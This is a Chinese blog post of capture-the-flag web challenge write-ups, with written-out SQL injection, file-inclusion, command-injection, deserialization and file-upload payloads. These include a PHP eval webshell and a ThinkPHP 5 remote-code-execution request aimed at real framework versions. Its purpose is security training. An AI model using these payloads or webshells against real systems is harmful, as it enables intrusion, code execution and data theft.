CTF-WEB*多个平台的刷题题解(一个平台一天两道题即可)

BUUCTF

知识

[极客大挑战 2019]EasySQL

进来看到
在这里插入图片描述

' or 1=1-- qwe

在这里插入图片描述

在这里插入图片描述

[极客大挑战 2019]Havefun

进来看到
在这里插入图片描述

F12检查
在这里插入图片描述

发现/?cat=dog会有输出,试着传参,得到flag
在这里插入图片描述

[HCTF 2018]WarmUp

进来看到
在这里插入图片描述

ctrl+u检查页面源代码
在这里插入图片描述

访问source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

————————
在这里插入图片描述

访问hint.php
在这里插入图片描述

知道了flag的位置ffffllllaaaagggg,接下来进行代码审计

    highlight_file(__FILE__);:这一行代码用于在页面上显示当前文件的源代码。它不会对代码的安全性产生直接影响,只是用于演示和调试目的。

   class emmm:这是一个定义了名为 emmm 的类。

   public static function checkFile(&$page):这是 emmm 类中的一个静态方法,用于检查传递给它的文件名是否在白名单中。

   $whitelist:这是一个白名单数组,包含了允许包含的文件名。只有在白名单中的文件名才能被包含。

   if (! isset($page) || !is_string($page)):这个条件检查传递给 checkFile 方法的 $page 参数是否存在且为字符串。如果不满足这个条件,它会输出 "you can't see it" 并返回 falseif (in_array($page, $whitelist)):这个条件检查传递给 checkFile 方法的 $page 是否在白名单中,如果在白名单中则返回 true,表示允许包含该文件。

   $_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));:这段代码从 $page 中提取出问号之前的部分,并将提取的结果赋值给 $_page。这似乎是在处理文件名中的查询参数部分,但在这个上下文中并没有实际作用。
    
   后续的两个类似的条件块对 $page 进行类似的处理,然后检查 $_page 是否在白名单中。如果在白名单中,则返回 true,表示允许包含该文件。

   如果 $page 不在白名单中,那么最后一个条件块会输出 "you can't see it" 并返回 falseif (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])):这个条件检查从请求中获取的 file 参数是否存在、是否为字符串,并调用 emmm::checkFile 方法来检查是否允许包含该文件。

   如果条件满足,则通过 include $_REQUEST['file'] 来包含用户请求的文件。

   如果条件不满足,则会输出一个带有图片链接的文本。

分析存在文件包含漏洞
构造payload:

/?file=source.php?../../../../../ffffllllaaaagggg

在这里插入图片描述

[ACTF2020 新生赛]Include

进来看到
在这里插入图片描述
————————
点击
在这里插入图片描述

注意到/?file=,
猜测是文件包含漏洞,php伪协议

构造payload

/?file=php://filter/read=convert.base64-encode/resource=flag.php

————————
在这里插入图片描述
————————

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWE0ODhiMmYtNjg3NC00MTg3LWEwZTMtZjA3MThkMGMyMjJkfQo=

进行Base64解码,得到flag
在这里插入图片描述

[ACTF2020 新生赛]Exec

进来就看到此,和PING相关,可能是命令执行
在这里插入图片描述

进行如下操作,进而确认
在这里插入图片描述

查看根目录
在这里插入图片描述

可以看flag咯
在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

进来就看到要给IP传参,可能和PING相关
在这里插入图片描述

确实是
在这里插入图片描述

得index.php的源码时出现问题,应该为空格过滤
在这里插入图片描述

如何绕过过滤
请一个一个尝试一下

得到源码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

过滤了
&, /, ?, *, <,在 0x00 到 0x1F 之间的字符(都是不可见字符),
>, ', ", , (, ), [, ], {, },
空格,
bash,
包含类似 “flag” 的字符序列

上面有绕过手法
payload:1;p=lag;cat$IFS$9f$p.php
在这里插入图片描述

ctrl+u查看源代码,得flag在这里插入图片描述

[强网杯 2019]随便注

进来看到的界面
在这里插入图片描述

先尝试显错注入,可以
在这里插入图片描述

判断页面字段数,为2;
在这里插入图片描述

想看显错点,发现过滤
在这里插入图片描述 
考虑堆叠注入,获取数据库,成功
在这里插入图片描述

获取表
在这里插入图片描述

获取字段
在这里插入图片描述在这里插入图片描述

得数据的三种方法
换表名和字段名:一

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

16进制:一

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

handler:贰

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

[SUCTF 2019]EasySQL

进入题目,看到:
在这里插入图片描述

尝试了几次显错注入,失败
在这里插入图片描述

尝试堆叠注入,成功得到数据库名
在这里插入图片描述

得表名
在这里插入图片描述

1;select column_name from information_schema.columns where
table_schema=database() and table_name=‘Flag’

1;show columns from Flag

都无法再得到字段名

***后面的思路挺新奇的,请仔细看看
尝试输入1查看回显:
在这里插入图片描述可以看到表格回显了内容:1,用其他非0数字尝试全都回显1,那我们换个数字尝试,比如0:
在这里插入图片描述什么都没有。用字母同理无回显。

先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:

command1 || command2
c1和c2其中一侧为1则取1,否则取0

大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)

再结合传参名
在这里插入图片描述
推测内置的sql语句为"select".post[‘query’]."||flag from Flag";

解法1

输入的内容为*,1

内置的sql语句为"select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2

输入的内容为1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串,or就相当于是,

在这里插入图片描述

[极客大挑战 2019]Secret File

进入题目
在这里插入图片描述

检查,发现可以点到另一个网页
在这里插入图片描述

点击
在这里插入图片描述

此时开启Burp Suit,点击selct,并开启抓返回包的功能
在这里插入图片描述

放包,返回包里发现另一个网页
在这里插入图片描述

访问,得到源代码,发现flag在flag.php,可以利用文件包含漏洞
在这里插入图片描述

还用到了PHP伪协议,构造flag如下:

?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]LoveSQL

进来看到
在这里插入图片描述

'or 1=1 -- qwe

'or 1=1 order by 3 -- qwe

'union select 1,2,3 -- qwe

'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'l0ve1ysq1' -- qwe

'union select 1,2,group_concat(id,username,password) from l0ve1ysq1 -- qwe

攻防世界

知识

view_source

进来看到
在这里插入图片描述

ctrl+u查看源代码,得到flag
在这里插入图片描述

robots

进来啥也没有看到
在这里插入图片描述

访问robots.txt文件夹
在这里插入图片描述

继续访问f1ag_1s_h3re.php,得到flag在这里插入图片描述

backup

进来看到
在这里插入图片描述
————————

常见的备份文件后缀名有

.git .svn .swp .~ .bak .bash_history

一个一个试了,发现自动下载一个文件
在这里插入图片描述

在文件中找到flag
在这里插入图片描述

cookie

进来看到
在这里插入图片描述

查看cookie
在这里插入图片描述

访问cookie.php
在这里插入图片描述

抓包看,返回包,找到flag
在这里插入图片描述

disabled_button

进来看到
在这里插入图片描述

看这里
其他人写好的write

get_post

进来看到
在这里插入图片描述

/?a=1

在这里插入图片描述

b=2

在这里插入图片描述

weak_auth

进来看到
在这里插入图片描述

随便输入
在这里插入图片描述

知道账号名为admin,再爆破密码,从返回包中得到flag
在这里插入图片描述

simple_php

进来看到
在这里插入图片描述

弱类型绕过
payload:/?a=abc&b=1235a
在这里插入图片描述

command_execution

进来看到
在这里插入图片描述

远程命令执行

1;ls /
1;ls /home
1;cat /home/flag.txt 

在这里插入图片描述

xff_referer

进来看到
在这里插入图片描述
————————————
在这里插入图片描述
————————————————
在这里插入图片描述

得到flag
在这里插入图片描述

NSS

知识

[SWPUCTF 2021 新生赛]gift_F12

进来看到
在这里插入图片描述

ctrl+u查看源码,找到flag,但还需要根据题目的提示变换一下flag
在这里插入图片描述
最后flag:NSSCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}

[SWPUCTF 2021 新生赛]jicao

进来看到
在这里插入图片描述

highlight_file('index.php');:这一行代码将显示 index.php 文件的内容,通常用于显示源代码。这可能是为了让你更好地理解代码的运行方式。

include("flag.php");:这一行代码包含了一个名为 flag.php 的文件。通常,这是一个包含了敏感信息的文件,比如这里可能存储了我们想要获取的 flag。

$id=$_POST['id'];:这一行代码从 POST 请求中获取了名为 id 的参数的值,然后将其赋值给变量 $id$json=json_decode($_GET['json'],true);:这一行代码尝试将通过 GET 请求获取的名为 json 参数的值解析为 JSON 格式,并将其存储在变量 $json 中。第二个参数 true 表示将 JSON 解析为关联数组。

if ($id=="wllmNB"&&$json['x']=="wllm"):这是一个条件语句,如果 id 参数的值等于 "wllmNB" 并且 json 参数中的 x 键的值等于 "wllm",则进入条件块。

{echo $flag;}:如果前面的条件成立,就会输出 flag 的值,即获取到了 flag。

综合来看,要解决这个挑战,可能需要:

发送一个 POST 请求,并将 id 参数设置为 "wllmNB"。
同时,发送一个 GET 请求,其中 json 参数的值为 {"x": "wllm"}

得到flag
在这里插入图片描述

[SWPUCTF 2021 新生赛]easy_md5

进来看到
在这里插入图片描述

分析源代码

highlight_file(__FILE__); 这一行是用来在浏览器中显示当前文件的源代码。

include 'flag2.php'; 这一行似乎是在当前代码中包含了另一个名为 flag2.php 的文件,其中可能包含了敏感信息。

if (isset($_GET['name']) && isset($_POST['password'])) 这个条件语句检查是否同时存在名为 name 的 GET 参数和名为 password 的 POST 参数。

$name = $_GET['name']; 这一行将 GET 参数中的 name 赋值给变量 $name$password = $_POST['password']; 这一行将 POST 参数中的 password 赋值给变量 $passwordif ($name != $password && md5($name) == md5($password)) 这个条件语句首先检查变量 $name$password 是否不相等,然后检查它们的 MD5 哈希值是否相等。

如果条件满足,即 $name$password 不相等,并且它们的 MD5 哈希值相等,那么代码将输出 $flag。否则,将输出 "wrong!"

payload有两种:

GET: name[]=1
POST: password[]=2

GET: name=QNKCDZO
POST: password=byGcY
在这里插入图片描述

[SWPUCTF 2021 新生赛]easy_sql

进入看到
在这里插入图片描述

看网页名或查看源代码,提示参数是
在这里插入图片描述
————————
在这里插入图片描述

传参一个万能密码‘ or 1=1-- qwe
在这里插入图片描述
时间盲注(对错或时间都可以)
sqlmap正常扫就行,没有发现什么限制

[SWPUCTF 2021 新生赛]include

进来看到
在这里插入图片描述

给file随意传一个参数

/?file=222

在这里插入图片描述

发现文件包含漏洞,这里要利用php伪协议
payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

Base64解码得flag
在这里插入图片描述

[SWPUCTF 2021 新生赛]easyrce

进来看到
在这里插入图片描述
eval明显的命令执行漏洞

payload:

/?url=system('ls /');
/?url=system('cat /flllllaaaaaaggggggg ');

在这里插入图片描述
在这里插入图片描述

[第五空间 2021]WebFTP

进来看到

在这里插入图片描述

dirsearch扫描网页
在这里插入图片描述
因为编程语言是PHP
所以扫描语句是

dirsearch -u http://node4.anna.nssctf.cn:28479/?m=login&a=in -e php

在这里插入图片描述

扫出一些文件夹
在这里插入图片描述

访问phpinfo.php
并搜索NSSCTF{
在这里插入图片描述

[SWPUCTF 2021 新生赛]Do_you_know_http

进来看到
[SWPUCTF 2021 新生赛]babyrce
在这里插入图片描述
——————————————————
在这里插入图片描述

请注意
在这里插入图片描述
在这里插入图片描述
前后的地址变了
在这里插入图片描述

得到flag
在这里插入图片描述

[SWPUCTF 2021 新生赛]ez_unserialize

进来看到

在这里插入图片描述

在源码中发现提示
在这里插入图片描述

这是提醒我们访问robots.txt
在这里插入图片描述

访问,获得源代码

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

生成payload的脚本

<?php
class wllm{
    public $admin='admin';
    public $passwd='ctf';
			}

$a=new wllm();
$b=serialize($a);
echo $b;
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

获得flag:
在这里插入图片描述

[SWPUCTF 2021 新生赛]easyupload1.0

进来看到
在这里插入图片描述我们直接上传图片马
<?php @eval($_POST[8]);?>和一张图片组成
在这里插入图片描述

提示文件太大了,尝试上传改了后缀名变成图片的文本

<?php @eval($_POST[8]);?>

在这里插入图片描述
上传成功,连蚁剑
但你只会找到一个假的flag,真的在环境变量里
在这里插入图片描述

[SWPUCTF 2021 新生赛]easyupload2.0

进来看到
在这里插入图片描述

我们直接上传图片马
<?php @eval($_POST[8]);?>和一张图片组成
在这里插入图片描述
提示
在这里插入图片描述
修改后缀为phtml,上传成功在这里插入图片描述

连蚁剑
这一次很快就找到flag了
在这里插入图片描述

[SWPUCTF 2021 新生赛]no_wakeup

在这里插入图片描述

点击得到源代码

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

需要绕过__wakeup:对象的属性个数大于真实个数
脚本:

<?php
class HaHaHa{
    public $admin='admin';
    public $passwd='wllm';
			}

$a=new HaHaHa();
$b=serialize($a);
echo $b;
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

payload:

/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

得到flag
在这里插入图片描述

[SUCTF 2019]EasySQL

进入题目,看到:
在这里插入图片描述

尝试了几次显错注入,失败
在这里插入图片描述

尝试堆叠注入,成功得到数据库名
在这里插入图片描述

得表名
在这里插入图片描述

1;select column_name from information_schema.columns where
table_schema=database() and table_name=‘Flag’

1;show columns from Flag

都无法再得到字段名

***后面的思路挺新奇的,请仔细看看
尝试输入1查看回显:
在这里插入图片描述可以看到表格回显了内容:1,用其他非0数字尝试全都回显1,那我们换个数字尝试,比如0:
在这里插入图片描述什么都没有。用字母同理无回显。

先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:

command1 || command2
c1和c2其中一侧为1则取1,否则取0

大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)

再结合传参名
在这里插入图片描述
推测内置的sql语句为"select".post[‘query’]."||flag from Flag";

解法1

输入的内容为*,1

内置的sql语句为"select".post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2

输入的内容为1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串,or就相当于是,

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

data://写入协议来应对file_get_contents($text,'r')==="welcome to the zjctf"

?text=data://text/plain,welcome to the zjctf

题目提醒了要包含useless.php文件
使用php伪协议来读取文件

php://filter/read=convert.base64-encode/resource=useless.php

payload为:

?text=data://text/plain,welcome to the zjctf&&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串密文
Base64解密得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

脚本

<?php
class Flag{  //flag.php  
    public $file='flag.php';  
}  
$a = new Flag();
echo serialize($a);
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

/?text=data://text/plain,welcome to the zjctf&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

输入payload页面如下
在这里插入图片描述

查看源码,发现flag
在这里插入图片描述

[HNCTF 2022 Week1]easy_upload

在这里插入图片描述
考点:后缀名改为php
在这里插入图片描述

连蚁剑
在这里插入图片描述

[鹤城杯 2021]Middle magic

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
        
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING    
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    
                    if ($level_3->result == $result) {
                        
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{
                
                die("no");
            }
        // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }

    }
    
    else{
        echo 'nonono!';
    }

    echo '<hr>';
}

?> 

1.代码分析
一共三层if,我们逐层看看:
第一个if要求aaa=pass_the_level_1#,但会将传入的level替换为filtered;
第二个if要求传入两个不相等变量admin和root_pwd,但要求两者sha1加密后相等;
第三个if要求传入level_3,对其进行json_decode后,需要$level_3->result == $result
2. 构造payload
[0x00] \n
第一个if,因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配:

/?aaa=%0apass_the_level_1%23

%0a和%23分别是换行符和井号键的url编码

[0x01] a[]
第二个if,我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null:
admin[]=1&root_pwd[]=2
[0x02] JSON:level_3={“*”: *}
第三个if,我们传入一个JSON格式的字符串,即:

level_3={"result":0}

php弱比较在面对纯字符与0的比较时,会返回true,例如a == 0返回为true
此处推测$result是纯字符,因此构造result->0

将上述传入后得到flag:
在这里插入图片描述
——————————
在这里插入图片描述

[SWPUCTF 2022 新生赛]奇妙的MD5

在这里插入图片描述

MD5相关的万能密码ffifdyop

在这里插入图片描述

查看源码,

在这里插入图片描述

<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;
-->

MD5弱类型绕过

http://node5.anna.nssctf.cn:28902/c0nt1nue.php?x[]=1&y[]=2

在这里插入图片描述

此时URL变了,重新LOAD

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
}

还是弱类型绕过

wqh[]=1&dsy[]=2

在这里插入图片描述

密码爆破

在这里插入图片描述

存的密码跑不出来,检查,找到提示

在这里插入图片描述

 <!-- 我们得到了密码的一部分 nss***312 并且知道星号部分为数字 -->

爆破000-999,可是只能是0-999,这次幸运,以后得自己制作数字字典

在这里插入图片描述

NSSCTF{1ef6d7de-4669-4915-9c66-96ee07365ba6}

[GKCTF 2021]easycms

考点:cms"蝉知7.7"

在这里插入图片描述

访问admin.php

在这里插入图片描述

http://node4.anna.nssctf.cn:28803/admin.php?m=user&f=login&referer=L2FkbWluLnBocA==

这里的url后面的referer经过base64解码后是/admin.php,本来想直接把他改成/flag发现不行,只能从尝试登录

试了试弱口令admin和12345直接成功了

在这里插入图片描述

点击设计,然后随便选择一个主题,点击自定义,有一个导出主题

在这里插入图片描述

随便输点东西进去

在这里插入图片描述

点击保存后,会给我们下载一个文件

在这里插入图片描述

将该文件的下载链接复制下来

在这里插入图片描述

http://node4.anna.nssctf.cn:28803/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

可以看到theme是经过base64加密后的密文,将他解码得到

http://node4.anna.nssctf.cn:28803/admin.php?m=ui&f=downloadtheme&theme=/var/www/html/system/tmp/theme/default/1.zip

猜测可能存在任意文件下载,将theme后面的内容改成将/flagbase加密后的字符串,得到payload:

http://node4.anna.nssctf.cn:28640/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

下载后是个压缩包,将文件扩展名改成.txt或者直接用everedit打开得到flag

在这里插入图片描述

[HNCTF 2022 Week1]Interesting_http

考点:
HTTP:
POST Cookie X-Forwarded-For

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

[第五空间 2021]pklovecloud

考点:PHP引用 新建类来满足条件 首次触发的是__toString

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

这里很快就可以看到需要利用的点在ace::echo_name的file_get_contents,

pop链非常简单acp::__toString->ace::echo_name

首先要的点实在acp的cinder,这个变量的属性是protected,刚开始做题的时候没看到一直在想到底哪里错了,这里我们要在acp::__construct来实例化ace类。

acp::__toString的触发方法

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 

这段代码中的echo会将acp类当作字符串输出,这时就会触发toString。

然后再看到ace类,filename要等于flag.phpdocker要为一个类,虽然后续的变量看起来是acp类的,但是acp类里面都受保护的变量,序列化后会有不可见字符处理起来不方便。我们不妨新写一个类fake,这个类里面只有$neutron和$nova

class fake
{
	public $neutron=1;
	public $nova;
}

接着往下看

$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)

这里对neutron进行了赋值,让它等于heat,那么这个时候neutron就不可能与nova全等。

要绕过这一层就需要用到PHP的引用,大致的意思就是让两个变量指向同一个内容。

首先对刚刚新写的类进行序列化

$fake = new fake();
$fake->nova = &$fake->neutron;
$fake = serialize($fake);
echo $fake;

得到O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;},将它赋值给docker

exp如下:

<?php  
 
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }  
}
 
class ace
{    
    public $filename="flag.php";     
    public $openstack;
    public $docker='O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}';  
}  
 
$acp = new acp();
 
$acp = urlencode(serialize($acp));
echo $acp;
 
?>

payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

在这里插入图片描述

查看源码

在这里插入图片描述

最后将../nssctfasdasdflag赋值给filename,

payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22…%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

在这里插入图片描述
参考:
https://www.cnblogs.com/bl0ck/articles/17728863.html

[SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

[SWPUCTF 2022 新生赛]ez_rce

考点:ThinkPHP V5框架 find命令查找flag文件(多个混淆)

真的什么都没有吗?

在这里插入图片描述

访问robots.txt

在这里插入图片描述

/NSS/index.php/

访问
在这里插入图片描述

直接搜到payload:

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

参考:
https://www.bilibili.com/read/cv21664530/

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值